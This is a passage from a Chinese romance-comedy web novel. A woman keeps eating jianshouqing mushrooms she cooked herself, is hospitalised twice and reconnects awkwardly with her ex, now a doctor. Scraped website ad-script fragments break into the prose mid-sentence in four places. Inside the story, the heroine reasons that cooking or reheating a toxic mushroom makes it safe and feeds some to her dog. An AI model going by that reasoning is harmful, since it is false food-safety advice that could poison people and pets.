司机是个中年男人,胖胖的,看起来很面善,“姑娘,我看你面熟,你好像昨天才做坐过我的车。” 宋南汐:“昨天?” “对,昨天。”司机说:“当时,你上车的时候也是这样,一手拿着勺子,一手抱着狗,还说狗是你朋友,对了,那个勺子是今年的新款手机吗?” 宋南汐:“?” 司机指了指她手中的勺子:“你当时下车的时候拿那个勺子扫的码,还是指纹付款,我也不知道是什么新科技,但我没收到钱。” 宋南汐:“……” 她现在想直接从车上跳下去。 司机不好意思地笑了笑:“姑娘,你现在病好了吗?” 宋南汐听出言下之意,赶忙道:“抱歉师傅,昨天实在不好意思,一会下车的时候我给您把昨天的车费也一起结清行吗?” “好嘞。” 绿灯亮起,司机眉开眼笑地启动了车,一路上都没再看她一眼。 宋南汐松了口气,等到了地方,结清车费,一路奔逃回了家。 一回到家,宋南汐就先去给青青准备狗粮和水,直到青青心满意足地吃起饭,宋南汐才如释重负地摊在了沙发上。 她抬手挡了挡眼,叹了口气。 这两天简直是她这29年的人生中最抓马的两天,简直丢人丢大了! 桌子上的手机突然震动了两下,宋南汐捞过手机,看了眼,是宋砚舟发来的消息。 宋砚舟:【听表哥说,你菌子中毒了?】 宋南汐:【命大,还活着。】 真是好事不出门,坏事传千里! 刚回完消息,屏幕上就弹出一个语音电话,是闺蜜江淼打来的。 接起就传来对方焦急的声音:“汐汐,你没事吧?怎么还菌子中毒了?我不是都嘱咐你了要煮熟一点,或者你让宋砚舟开视频指导一下也行啊!” 江淼噼里啪啦一顿输出,宋南汐好不容找到机会插话进去,安慰她:“哎呀,没事没事,我都吃得少,今天已经出院了,没什么大事,你别担心。” “听说, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你那个追求对象路清柏也被你搞进医院了?” 说到路清柏,宋南汐顿时有些心虚起来,本意是邀请他来吃个饭,没想到真变成试毒了,更没想到的是还真被毒倒了。 “他……喝得有点多,不过也没什么事了,明天就能出院了。”宋南汐顺带着纠正:“再声明一遍,路清柏早就不是我的追求对象了。” 听筒里沉默片刻,江淼突然出声问:“汐汐,他都追你七年了,从国内追到国外又追回国内,你真的一点都没动心?” 大学里,曾岳生日时组的那场局,宋南汐毫不意外地看上了陈见青,而当时也在场的路清柏竟意外地看上了她。 此后,宋南汐开始死缠烂打地追陈见青,路清柏就追她,尽管宋南汐已经明确拒绝过他多次,但路清柏这人竟然跟宋南汐一样执着。 她甚至有点怀疑路清柏所谓的“情场浪子”的称号是否真实。 等她真的追上了陈见青,路清柏才停了手。 短短几个月后,她和陈见青分手,去了国外,路清柏又开始追她。 他对她真的很好,无微不至,宋南汐甚至开始疏远他,态度也变得冷淡,可路清柏还是不知冷热地贴上来。 一点都没动心吗? 宋南汐曾无数次质问过自己,甚至有的时候看到路清柏为爱卑微的样子她还会想:路清柏那样的人,都已经为她浪子变情子了,为什么她的心还是比铁都坚硬呢。 无数次诘问自己的内心深处,但那扇心房从不曾为他打开过一次。 即使他付出再多,宋南汐对他也从来都没有心动的感觉。 也许,心会在某个时刻软一点,流露出一点情绪,但宋南汐清楚地知道,那只是同情。 再后来,连宋南汐都记不清了,到底是什么时候开始,路清柏才彻底想开不再执着了呢。 好像是她宿醉醒来后的某个清晨,路清柏突然对她说:“宋南汐,我们做朋友吧,永远不越界的好朋友。” 宋南汐一开始还答应的半信半疑,直到路清柏又开始交女朋友,像大学时那样,恢复成他原本的样子,几年的时光中连宋南汐都数不清他到底换了多少任。 路清柏对她也进退有度,从不越距,后来不知不觉中她真的把路清柏当成了自己死党。 “汐汐?” 听筒里再次传来的女声拉回了她的思绪。 宋南汐笑了笑:“江三水,你消息也太落后了吧。路清柏早就对我不感兴趣了,而且人家有女朋友啊,你可别给人家造谣。” 江淼有些惊讶:“真不追了?我倒觉得……他还喜欢你呢。” 宋南汐无奈:“真的!我们现在是纯纯正正的好朋友!” 江淼问:“他是你的好朋友,陈见青呢?” 宋南汐自嘲地笑笑:“前男友呗,还能是什么。” “那……有没有见到前男友?”江淼又问。 宋南汐这下是彻底沉默了。 察觉到宋南汐的反常,江淼也不再逼问,生硬的转移了话题:“奥对了,那个见手青你就别吃了,下次等你来榆北让宋砚舟做给你吃。” “……知道了。” 她现在已经逐渐接受了一个事实:一个娘胎里可能确实出不来两个新东方。 8. 休眠火山 两人又有一搭没一搭地闲聊了几句,直到对面隐约传来一道催江淼吃饭的男声,两人才依依不舍地挂了电话。 临近中午,宋南汐却一点胃口也没有,不知是不是菌子中毒后遗症,回家后就跟瞌睡虫上脑似的,没由来的困。 刚挂电话没一会儿就瘫在沙发上睡着了。 直到下午五点,她才悠悠然醒来,虽然她极不愿意睁开眼,但奈何她的肚子发出了抗议。 她被饿醒了。 见她醒了,一旁正在玩耍的青青也朝她小跑过来,宋南汐伸手摸了摸脚边毛茸茸的脑袋,青青哼唧着舔了舔她。 “饿了?”宋南汐笑着问。 青青摇了摇尾巴。 她从沙发上起身,径直走到青青吃饭的地方,狗粮碗干干净净,一粒狗粮都不剩,可见青青对其的喜爱程度。 青青也小跑过来,摇着尾巴等待着宋南汐放饭。 宋南汐手指点点那颗小脑袋瓜,“青青,你今天吃的都超标了!” 青青哼唧着上前蹭了蹭她的手指,为了一口吃的,青青第一次向她撒娇了。 宋南汐一颗心都被手边毛茸茸的小脑袋蹭化了,最后无奈妥协又喂了一点狗粮。 青青大快朵颐地享受着,看的宋南汐的肚子也再次咕噜噜叫了起来。 宋南汐去厨房正要看下冰箱里还有什么食材,一进门就看到案台上剩余的半只鸡和半袋见手青。 见手青炖出的鸡汤真的是她这辈子喝过最好喝的鸡汤,味道之鲜美仿佛此刻还残余在她的味蕾上。 她盯着桌子上那袋剩余的食材,不禁咽了咽口水,最后强迫自己将目光从上面已开。 转身打开冰箱,由上至下几乎没什么食物。 除了两瓶酸奶和两颗长毛的鸡蛋,厨房里,在她翻遍所有角落后都没有找到任何速食的踪迹时,她才缓缓想起一个事实:平时工作忙成狗的她,根本没机会做饭。 宋南汐没忍住又将目光凝聚到那袋见手青和半只鸡上。抿了抿唇,她果断找来手机,上网搜索:见手青中毒的原因是什么? 在近二十分钟的资料查阅后,她关掉手机,看着桌面上的食材若有所思。 应该只是没炖熟,这次炖久一点肯定没问题! 宋南汐找出之前小鸡蘑菇汤的教程,按照步骤一步一步调料汁处理食材,因为有过一次经验,所以这次的操作过程比较顺利。 只是在放见手青的那一步时她还是犹豫了,万一又中毒了怎么办? 保险起见,她把剩下的见手青又分出较少的一份来加到鸡汤里。 这样,量少一点,即使中毒应该也不会到出幻觉的程度。 但另一份蘑菇如果直接扔掉又怪可惜的,放进冰箱的话恐怕短时间内都不会有再见天日的机会了,毕竟后天她就要开始上班了,再有这样的做饭机会恐怕得到猴年马月了。 略一思忖,她再次拿出手机搜索攻略。 没一会儿,剩下的见手青被她煸炒了出来。 只是简单的调味,蘑菇的香气就弥漫了整间厨房,宋南汐试着尝了一口,美味充斥口腔的那一刻,她再次对自己的厨艺天分有了点诡异的自信。 青青也被这香味吸引来,看着狗狗亮晶晶的小眼睛,宋南汐大方地夹了一块刚炒好的蘑菇放到手心递给青青,“来,尝尝姐姐的厨艺怎么样。” 青青细细闻了闻,然后鼻子拱了拱,将那块蘑菇扔到了地上。 宋南汐以为它是不小心,扔掉地上的蘑菇,又重新夹了一块新的给青青。 这次青青直接用爪子扫了下去。 宋南汐终于意识到什么:“你不喜欢?” 青青朝她叫了两声。 她皱了皱眉,拿起筷子又夹了几块放进嘴里,细细品尝。 地上的青青一反常态开始止不住地嚎叫。 味道没问题,宋南汐得出结论,是狗有问题。 宋南汐蹲下来摸摸青青的小脑袋,安抚道:“青青乖,姐姐在准备人类吃的晚饭,你不喜欢吃就先去外面等姐姐。” 说完她将青青抱出了厨房,然后拉上了门,彻底隔绝了那道叫声。 宋南汐守着那不断咕嘟咕嘟冒泡的锅口水都快流出来了,只能用煸炒好的见手青暂时解解馋。 不知不觉间那盘炒见手青光了盘,闹钟才迟迟响起。 宋南汐立刻上前关了火,拿着汤勺舀了勺滚汤,敷衍地吹了吹,然后迫不及待凑上去抿了一小口。 即使已经尝过一次这种味道,可再次尝还是会忍不住惊艳的程度。 喝完一勺汤,整个人都暖洋洋的,一种难以言喻的幸福感从心底滋生。 热气氤氲,眼前有些模糊,宋南汐揉了揉眼,拿来小碗盛了一点小鸡蘑菇汤。 拉开餐厅门,端到餐桌上,拉开椅子坐下,吃肉前她先喝了口汤,然后满足地喟叹了声:“不愧是我炖的汤!真好喝!” 地上的青青突然跳上她身旁的椅子上,然后跳上餐桌,湿润的鼻尖蹭了蹭她的手,摇着尾巴开心地看着她,欢快地说道: “这么好喝,也给我尝尝呗。” 宋南汐眨了眨眼,愣愣盯着餐桌上的狗,“你、你再说一遍?” 青青嘿嘿笑了两声,脑袋在她的手背一顿乱蹭,声音是那种少年撒娇的腔调:“姐姐,我也想喝。” “咣当”一声,瓷勺和瓷碗碰撞发出声响,宋南汐缓缓吞下嘴里最后一口鸡汤。 下一秒,她蹭的站起身,准确找到自己的手机,拨打120,冷静理智地汇报了自己的情况和位置。 挂断电话后,她仔细巡视了一周,目光如炬。 青青跳下桌子跑到她腿边,一脸疑惑:“姐姐,你在找我吗?” 片刻后,她才舒了一口气。 幸好,目前在她的世界里只有青青变异了。 没过一会儿,眼前突然变得有些模糊。 整个人仿佛一会处在云端,一会又被人从万米高空丢落下来,难以抑制的晕眩感还有恶心感。 眼前的世界仿佛被完全倒置了过来,她迷迷糊糊的,已经连自己的位置都分辨不出来。 - 难得今天没有手术,也不用值班,到了下班时间,陈见青换好自己的衣服,收拾好东西就准备回家。 连办公室门都没出,护士陈春月再次火急火燎地跑了过来:“陈医生,你快去急诊室看看,今天早上刚出院的那个菌子中毒患者又来了。” 连衣服都没来得及换,陈见青疾步往外走,一边问身后的陈春月:“怎么回事?” “救护车送来的路上患者一直吐,到的时候已经是半昏迷状态了,怕她脱水已经在补液了。” 陈见青问:“相关的检查做了吗?” 陈春月:“做了做了,现在应该已经出来了,我去拿。” 两人兵分两路,陈春月去拿报告,陈见青则一路拐去了急诊室。 急诊室里,陈见青站 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在病床前,看着病床上的人苍白的脸色,无奈地叹了口气。 正要俯身检查她的情况的时候,病患突然睁开了眼。 天边火红的夕阳连成一片,暖橘色的光跃进窗内,映在宋南汐的眉眼之间,明艳的五官漂亮的像一幅画。 陈见青皱了皱眉,下意识想直起身,那瞬间,他的领口突然被一只冷白细长的手抓住,用力一扯。 然后,猝不及防地,他朝病床上的人直接压了上去。 幸好,在最后一刻,手肘在床侧撑了一下。 将触未触的距离,女孩温热的呼吸扑面扫来。 两人的衣服几乎贴在一起,陈见青似乎能感受到她的体温还有淡淡的香味。 小苍兰味道沐浴露,和七年前一模一样,从未变过。 他下意识屏住呼吸,直直望进那双目光呆滞的眼睛里。 那双极具欺骗性的漂亮的琥珀色眼珠里瞬间被陈见青占满。 “鸡腿。”宋南汐模糊地呢喃了句什么,但陈见青根本无心去听。 那颗沉寂多年的心仿佛一座休眠火山,此刻隐隐有了死灰复燃的迹象。 她盯着他的眼神直白热烈,目不转睛,仿佛盯上了什么势在必得的猎物。 宋南汐舔了舔唇,忽然抬起手轻轻握在他的脖颈上。 她的掌心很烫,烘烤着他的喉间都是一片干涩,喉结蹭着她的掌心艰涩地滚了下。 她缓慢地眨了下眼,忽然极快地偏了下头,然后一口咬在了陈见青的侧脸上。 在陈见青都还没反应过来的时候,她又很快躺了回去,皱了皱眉,颇为嫌弃地评价道:“不好吃,没熟。” 陈见青:“……” 陈见青手掌用力撑了下床边,站起来,深深吸了口气缓缓吐出来,脸色还是涨得通红。 他目光阴沉地盯着病床上已经陷入睡眠的人,好半会儿,安静的病房里听见他咬牙切齿的低声:“宋、南、汐!” 病床上的人不满地拧着眉,不耐烦道:“闭嘴,吵死了。” 话落,那只白皙纤细的手有些烦躁地抓住被沿用力往上一拉,直接盖过了头顶,隔绝了外界的一切。 “……” 护士陈春月急匆匆拿完报告赶来了急诊室,刚跑到楼道口,一眼就看到倚在墙边的陈见青。 陈见青刚刚还去了急诊室,一会儿功夫就变成了站在诊室外面。 陈春月以为陈医生是急着下班,跑过去的脚步都不禁加快了几分。 “陈医生,这是相关的检查报告。”陈春月将报告单递给陈见青。 陈见青站直了些,拿过那一沓报告,低着头一张一张地认真看。 不知道是不是陈春月的错觉,不过一会儿功夫,她感觉陈医生像是变了个人。 明明刚刚还是和颜悦色的,现在却脸色冷沉,像是一个行走的冰箱制冷机,随时散发着冷气,让人忍不住发怵。 “报告没什么问题,观察一晚,没什么事的话明天就让她出院吧。” “好的,陈医生。” 陈春月一边应着一边赶忙接过报告,不经意间抬头一瞥,整个人瞬间愣在原地。 明亮的白炽光下,陈见青半垂着眼,鸦黑的睫羽在眼睑下方投下一片阴影,看不清情绪,此刻他的左脸颊上竟有一个明晃晃的牙印。 “陈医生……你的脸……”陈春月欲言又止。 陈见青冷嗤了声,音色冷的像浸在冰水里:“被狗咬的。” 9. 道歉与谢礼 宋南汐醒来的时候已经是第二天了,等适应了光亮微微睁开眼,耳边突然传来一道男声。 “醒了?” 宋南汐偏头看向一旁坐着的人,一头红色狼尾,手上正拿着一个咬了一半的苹果,此刻优哉游哉地坐在一旁的椅子上,惬意得很。 “你出院了?”宋南汐问。 “刚办完出院手续就来看你了,屁股都没坐热你人就醒了。”路清柏说着咬了口手中的苹果。 宋南汐:“……那要不我再睡会?” 经过一夜休息,宋南汐的脸色终于好看了点,只不过说话时声音带着点微哑。 路清柏放下手中的苹果,看向病床上的人:“你这次又是怎么回事?你可别告诉我,你没忍住把剩下的半袋蘑菇和半只鸡给吃了。” 宋南汐抿了抿唇,思考了会,认真复盘道:“这次不太一样,我把见手青分了两份,一份用来煸炒,一份用来炖汤,汤的时间已经炖的足够久了,所以绝对不是汤的问题。那就只剩——” “——绝对是炒的蘑菇有问题!蘑菇没炒熟!”得出结论后,宋南汐颇为懊恼:“早知道全都用来炖汤了。” 路清柏有点不太懂宋南汐的脑回路,“人家都说‘一朝被蛇咬十年怕井绳’,你这怎么还反着来,被咬了两次都还不知悔改。” 宋南汐:“你不懂,我查过资料了。见手青有毒,煮熟就没事。这次是我的原因,我没炒熟,应该炒的更久一点的。” “宋南汐,你来医院没够是吧?” 一道话音插进来,宋南汐和路清柏都不约而同地看向来人。 “表哥。”宋南汐唤了声生气的曾岳。 路清柏颔首算是打过招呼。 曾岳走过来一根食指点在宋南汐的脑门上,颇有些恨铁不成钢的意味,“你怎么就只记吃不记打呢。” 宋南汐软下声音认错,讨好道:“哥,我真知道错了,你没告诉我妈还有宋砚舟吧?” 曾岳“哼”了声,“我倒是想告诉,这不是今天早上一上班才听说你又来医院了,还没来得及打报告就先来看你了。” 宋南汐听见这话松了口气,笑眯眯地拽了拽曾岳的衣角,“哥,别告诉他们了呗,反正我也没事,今天应该就能出院了。啊不!是现在!现在我觉得浑身都神清气爽的!立马就能出院!” 曾岳扫了眼宋南汐,精神看起来确实挺好的,只不过恐怕某人的精神就不会这么好了。 “你真不记得昨天干过什么了?” 此话一出,宋南汐立刻警觉起来,脑海中不断回想昨天的一切细节,但记忆只停留在她拨打完120的那一刻,其他的什么都想不起来。 她一脸警惕地抬起头,“我都干什么了?” 曾岳:“具体的我也不太清楚,但好像跟你前男友有关。” “!” 好半天,宋南汐才缓缓开口,“我又干了什么不可饶恕的事吗?” 曾岳:“听春月说,昨天陈见青来急诊室看你,但出去的时候脸上带着一口很深的牙印。” 宋南汐深吸了口气,“更具体点的呢?” 曾岳说:“更具体的只有陈见青和你知道,毕竟当时急诊室里只有你和陈见青在。但陈见青对这件事闭口不谈,所以,你这个当事人真的一点也想不起来了吗?” “……” 苍天!她一个中毒的人,连世界都是失真的,她哪里知道陈见青在她的世界里扮演者什么角色啊!!! 任她如何努力回想,都记不起昨天的一点点细节,哪怕是模糊的也没有,被她忘得干干净净。 宋南汐想起什么,突然看向一边一直沉默的路清柏,有些期待地问:“路清柏,你昨天应该在医院,你知不知道昨天发生的事?” 路清柏扯了扯唇角,“我睡得早,昨天的事我怎么知道。” 语气有些冲,但宋南汐的注意力只在陈见青身上,根本没有察觉。 她的期切的目光再次转到曾岳身上,“哥,你再想想,万一那牙印不是我咬的呢?” 曾岳想了下今天上班时陈春月给他描述的过程,终于想起了什么重要的细节:“啊我想起来了。” 宋南汐眼睛亮了亮。 紧接着,曾岳不缓不慢道:“昨晚,春月问陈见青脸上的牙印怎么回事,陈见青非常生气地说,狗咬的。” 宋南汐的眼神瞬间暗了下去。 完了!听起来他很生气。 “哦对了,”曾岳又补充说:“虽然陈见青一致对外说是狗咬的,但我和春月以及其他一众同事都一致认为,不出意外的话,你应该是那条狗。” “……”宋南汐小心翼翼问:“哥,你觉得有没有一种可能真是狗咬的。” 曾岳翻了个白眼,无奈叹了声,“已经连着两次了,连着两次你都逮着陈见青一个人霍霍,绕是个再好脾气的也已经被你惹急眼了,更何况那位本就不是个好脾气的。被狗咬的这种话听听就得了,一看就是气急了说出的气话。” 看着宋南汐一脸生无可恋的表情,曾岳心有不忍,诚信提出建议,“要不,你提着礼物跟人家道个歉?” 宋南汐下意识脱口而出:“这不太合适吧。” 曾岳知道宋南汐的别扭,他道:“有什么不合适的,抛去曾经那层关系,你俩现在也只是病患和医生的关系,病患给医生道歉和道谢都是再正常不过的事了。你俩目前的关系简直再合适不过了。” 宋南汐纠结了一下,于情于理,她确实应该给陈见青诚心道个歉,但…… 宋南汐诚心发问:“公职人员不是不能收礼的吗?” 曾岳明显噎了一下,“我只是举个例子,你就不能换成别的,比如锦旗什么的?” 宋南汐想了想,“一个锦旗会不会太少了,要不我做点饭带给他怎么样?会不会更诚心一点?” “……你是想道歉还是谋杀?” 宋南汐蹙了蹙眉,“说认真的,我炖鸡汤还是很好喝的。” 曾岳刚想劝说她放弃这个想法,但一想到这俩人之前的无耻行径,到嘴边的话莫名转了个弯,脸上藏着得逞的笑,“这提议真是好极了!金汤银汤不如自己做的汤,简直诚意满满,陈见青一定会原谅你的。” 他说的笃定,宋南汐都分不清他语气里是褒是贬了。 “行了,没什么事的话,就回家吧。我得去查房了。”曾岳看了眼表,丢下这句话就急匆匆地走了。 临走的时候还特意强调:“汤和锦旗一定要亲手交给陈医生啊!” “……” 一旁的路清柏也站起来,将剩下没咬完的苹果直接扔进了垃圾桶,看了眼宋南汐,没什么语气的说:“我也走了。” 宋南汐正要下床穿鞋,“一起走呗。” 路清柏嗤了声,“你不是还要给你的陈医生做锦旗,我还要陪我女朋友,没空陪你,先走了。” 看着路清柏毫不留情的背影,宋南汐一脸莫名其妙。 这家伙怎么回事?吃枪药了? 宋南汐本想先去定做一个锦旗,但她忽然想起自己一夜未归,家里还有个嗷嗷待哺的小狗崽子呢。 打了辆出租车,匆匆赶回家,等电梯的时候,还有个老太太。 电梯停在32楼没动,应该是有人在上电梯,宋南汐无聊地看了眼手机。 一旁的老太太突然叫了她一声:“姑娘,你也是这楼的住户吗?” 宋南汐点了点头,老太太突然担心地看着她:“姑娘,最近这栋楼不太太平,睡觉要锁好门窗。” 宋南汐不明所以,“怎么了奶奶?是发 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生什么事了吗?” 老太太看了看四周,压低声音道:“最近小区里有变态出没,但物业怕引起恐慌,不让声张。” 宋南汐皱了皱眉:“变态?” 电梯叮地一声打开了门,里面的人涌出来,老太太瞬间噤了声。 等进了电梯只剩她们两个人的时候老太太才继续道:“那个变态专门潜到别人家里偷女人的内衣内裤,今天早上这栋楼有个租客的内衣就丢了。” 宋南汐也是刚搬过来不久,她问:“最近刚出现的吗?” 老太太摇了摇头,“两个月前就有人反映了。” 两个月前……那不就是她刚租下这个房子的那段时间吗。 当时房东明明说的好好的,小区安保设施非常高,可两个月前竟然就已经出现了这种事! 宋南汐皱了皱眉,很快电梯达到她所在的楼层,临走的时候,老太太还特意叮嘱强调要锁紧门窗。 宋南汐应好。 输入密码开了门,青青小跑着扑到了她身上,宋南汐抱起青青,凝眉想了下,还是给门锁改了个密码。 青青一脸急躁地胡乱蹭着她的下巴脖颈,宋南汐被蹭地直乐,“青青,你是不是饿了?姐姐带你去吃饭好不好?” 宋南汐直接抱着青青去了它吃饭的地方,倒好狗粮换完水,然后又去换了张排泄垫。 刚去洗手间洗了洗手,门铃就响了。 正要去开门,突然想起今天那位老太太说的变态,于是多了个心眼,她看了眼猫眼,一个穿着明黄色衣服的外卖员站在门外。 宋南汐拿出手机给那位外卖员发消息:【外卖放到门口,谢谢。】 消息刚发出去没两秒就见外卖员将外卖挂到门把手上,给她拍了张照片过来,然后才急匆匆走了。 宋南汐等了三四分钟,从猫眼里窥见走廊里没了人,才小心翼翼打开了门。 外卖是她点的一只脱了毛的生鸡,她准备给陈见青炖一锅浓郁的鸡汤。 厨房里,灶台上的砂锅里还剩着半锅小鸡蘑菇汤。 宋南汐认真思考了下,如果说第一顿的时候这锅汤真的残余那么一点点微末的毒性,那么现在再热第二次的话,肯定一点毒性都没了。 她一边开火热鸡汤,一边从柜台里拿出另一个锅,准备大展身手。 卖家送来这只鸡的时候还贴心的给她准备了汤料,于是宋南汐的过程就更加省心。 等食材都进了锅,另一锅小鸡蘑菇汤也热好了。 宋南汐将里面的鸡肉全都盛了出来,不带一片蘑菇。 不是她不喜欢,即使她说服自己这锅汤没有毒,但她还是对见手青产生了点阴影,索性将里面的鸡肉都盛出来吃了。 鸡肉已经炖得软烂,入口即化的程度,鲜香入味。 吃饱了饭,灶台上的鸡汤也炖好了,宋南汐关了火,将其盛进了保温桶里。 现在只差一面锦旗。 宋南汐线上找了家店铺约做了锦旗,店家说四个小时后去店里自取。 正好店铺的位置离医院很近,顺路就能过去。 时间还早,她去洗了个热水澡,换了一套较为温婉的衣服——一身米白色针织长裙。 坐在梳妆镜前,画了个简单的妆容。 她仔细看着镜中的人,与七年前并无太多差别,但因这些年来的职场磨砺,那张脸褪去了几分年少时的张扬,多了几分成熟妩媚。 不笑时,更有一种上位者的气场,一种不怒自威的威力。 看起来很能唬人。 镜中的人弯了弯唇角,随即又变的平直,反复几次终于弯出一个自己满意的弧度。 她唇角弯着,眼尾上挑,含着几分媚,但眼神极其真诚,清了清嗓子,才道:“陈见青,好久不见。” 10. 天使 今天是护士陈春月在大厅做导诊,快下班的时候,有个身材高挑的女人从正门走了进来。 不仅身材高挑,长得也很出挑,一身米白针织长裙外面套了一件米白色风衣,温婉又大气,加上那张明媚似花的脸庞,引得路人的目光频频顿足。 陈春月正看的入迷,那漂亮美女竟直接朝她走了过来。 等走近了,陈春月才认出那张熟悉的脸。 她震惊地瞪大了眼,“不是,你怎么又来了?” 宋南汐知道她误会了,只好扬了扬手中的红色锦旗,笑着道:“我是来给陈医生送锦旗的啦。” “吓死我了,我还以为你又中毒了。”陈春月松了口气,又道:“你找陈医生吗?他今天下午有手术,不知道现在结束了没有。要不你去他办公室看看吧?” 宋南汐笑着应了句好,走了几步又折返回去,“小美女,陈医生的办公室在哪呀?” 陈春月听见这称呼笑脸一红,羞涩地指了指楼上,“扶梯上了三楼,走到尽头就是,很好认的,门上还挂着陈医生的牌子。” 宋南汐弯了弯眼,“好,谢谢啦。” 一路上了三楼,明明到办公室就几步路的距离,但宋南汐硬是有点迈不开步子,明明刚刚还脚下生风的。 磨磨蹭蹭到了门外,她反复深呼吸,不断给自己心理暗示。 没关系的,道个歉就立马离开,他们之间现在只是医生和病患的关系。 对,曾岳说得对,没有比现在更合适的见面关系了。 宋南汐缓缓呼出一口气,提了提唇角,敲响了办公室的门。 “进。” 她压下门把手,打开门,一眼看到正埋头在本子上记录的陈见青。 时光似乎非常偏爱他,七年的光阴却没在他的脸上留下一丝一毫的痕迹。 头顶的白炽光落下来,他整个人都笼罩在光影里,神色俊秀,清隽挺拔。 侧脸线条优越地像是用画笔精心勾勒出来的,黑长的睫毛半垂着在眼睑下方投下一片淡淡的阴影,处理工作的时候眉眼之间总带着几分疏冷,给人一种拒人于千里之外的感觉,但却过分的好看。 即使过了这么多年,再次看见这张脸,她的心还是不由自主地倾倒。 练习过数十次的开场白,在此刻却一股脑抛之脑后,脑子里一片空白,她一时忘了自己要说什么。 直到那双漆黑的眼眸直直望过来,宋南汐的心跳的更快了。 震得鼓膜发疼,整个人都有些云里雾里的。 她眨了眨眼,眼前的世界半模糊半清晰。 她怀疑是自己低血糖犯了,想着赶紧道完歉离开,不能再在他面前出丑了。 话还没来得及说出口,身后的门再次被人敲响,然后有人推门进来。 “哎,见青,我跟你说,今天患者给我送了个锦旗——”曾岳一进门就看到自己家表妹也拿着个锦旗杵在那,话音瞬间顿住。 不仅拿着锦旗,还拿着食盒。 曾岳意外地挑了挑眉,还真送来了,他目光在两人之间流连,意有所指道:“今天是什么好日子,看来不止我一个人收到锦旗嘛。” 陈见青声音清冷,“什么事?” 没有明确的主语对象,不知道是在问谁,曾岳指了指自己手中的锦旗,率先道:“呶,我是来跟你炫耀锦旗的。” 说完,他又看向一旁有些呆的宋南汐,“你呢,你来干什么的?” 宋南汐抬手用力揉了揉眉心,眼前短暂的清晰了些,她走近了些,将食盒和锦旗都恭敬地递上前,还深深鞠了一躬,声音洪亮,“陈医生,我是来给您送锦旗的!感谢您的救命之恩。” 办公室里顿时陷入一阵长久的沉默,还是曾岳率先接过宋南汐手里的锦旗,打开一看,逗得他直乐,捂着肚子笑了半天,眼泪都笑出来了,一边拍拍陈见青的肩,“我不行了,笑死我了,你这锦旗标语跟我的有一拼。” 陈见青偏头看了眼锦旗上的字,红色绒布上用鲜明的黄色字体写着几个大字: 感谢天使降临人间,感谢人间有您,陈医生大爱无疆!——患者宋南汐敬上。 陈见青:“……” “给你们看看我的。”曾岳笑够了,又打开自己的,一字一句念道:“感谢人间,肛好有你。” 曾岳念完又笑起来,“欸?还别说,你俩脑回路挺配的。” “……”宋南汐一开始的紧张全被这个小插曲浇灭了,不满控诉:“曾岳,你别混淆视听!明明我的更有内涵!” 曾岳笑着用手肘杵了杵满脸黑线的陈见青,看笑话的神情藏也藏不住,“陈医生,啊不对,现在得叫你陈天使了。天使,你觉得呢?哪个更有内涵?” 陈见青有些头疼地捏了捏眉心,“还有什么事?” 依旧没有明确的主语对象,但显然这是在问宋南汐。 宋南汐觉得从进门开始自己的反应就开始变得有些慢,甚至眼前的清晰又在渐渐变得模糊,头也有点晕。 曾岳没忍住提醒一旁傻愣着的宋南汐:“宋南汐,问你呢,还有事没。” 他眼神不断往宋南汐手上的食盒上瞟,暗示她快点说。 宋南汐的眼前越加模糊,隐约中甚至看见了两个陈见青。 等了几秒,宋南汐依旧没有动静。 陈见青终于抬眸看她,只见女孩皱了皱眉,很快像是下定了决心似的,目视前方,将食盒恭敬地递出去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,对着一旁虚无的空气九十度鞠躬,字正腔圆,声音比刚刚还要洪亮,像是在军营里打报告: “陈医生,实在对不起,前两天无意冒犯您,给您做了赔罪鸡汤,您尝尝!” “……” 曾岳还没意识到她的不对劲,以为她不好意思,专门上前掰着她的肩膀替她纠正好位置,确保正对着陈见青,“呶,拜错了,救命恩人在这呢。” 宋南汐疑惑抬头,视野里有好几个陈见青,看不太清,像蒙了一层纱布。 她皱了皱眉,手上力道松开,食盒眼见着就要滚在地上,被曾岳眼疾手快地接住。 “哎呦,祖宗,你拿好啊!” 曾岳一边吐槽,一边接过食盒放在桌上,丝毫没意识到宋南汐的不对劲。 陈见青拧眉看着对面似乎在皱眉思考的宋南汐,手就停在半空,盲目地指着,她的脸色已经有些苍白。 他站起身,走上前,一把握住那只半空中胡乱做动的手。 宋南汐愣愣抬头,晃了晃脑袋,眼前的面孔模糊却熟悉,她喃喃出声:“陈见青,在哪?” “在这。”陈见青说:“宋南汐,哪里不舒服,告诉我。” 曾岳这时才看出宋南汐的不对劲来,紧张上前查看她的情况:“南汐,怎么了?” 宋南汐缓缓吐出两个字:“头疼想吐。” 曾岳想到什么,大声质问,“宋南汐!你是不是又吃了那毒蘑菇?!” 耳边的聒噪让宋南汐不耐的皱了皱眉,反驳道:“没有毒,我已经煮熟了。” 或许是印证她这句话的真实性,下一秒,宋南汐眼前一阵天旋地转,直直倒向身后。 刹那间,腰间穿过一条强健有力的手臂,直接将她拦腰抱起,步履匆匆地赶往急诊室。 宋南汐只觉得耳边有风掠过,整个人摇摇晃晃的仿佛坐在车上。 她胡乱抓住了什么,有块硬硬的凸起的骨头,皱眉道:“师傅,开慢点,我想吐。” 手心的骨头动了两下,声音好像是从那里挤出来的,带着点咬牙切齿的味道: “宋南汐,你给我忍着,敢吐你就完了。” 有些凶的语气,让她瞬间有些委屈,本来就晕的难受,现在还被凶了,再开口时连声音都有些哽咽:“你好凶!我要向滴滴投诉你。” 陈见青:“……” 刚送到急诊室床上,宋南汐就没忍住趴着床边干呕了几声。 等缓过来后,她躺在床上吸了吸鼻子,眼角竟淌出一滴泪,嘴里还嘟嘟囔囔的。 陈见青心神一动,忍不住凑近去听。 “好差的车技,呜呜呜,我要给差评!差评!” 陈见青:“……” 11. 女朋友 宋南汐只觉得自己晕乎乎的,恍然间似乎又回到了自己的大学时期。 自从那次生日宴的邂逅,宋南汐已经对任何人都提不起兴趣,她只有一个念头:她要追陈见青。 她向来是一个执行力很强的人,在下定决定的当天就去找了曾岳,两人约到食堂,宋南汐请他吃了顿豪餐——28.8猪肚鸡套餐以及一杯30的奶茶。 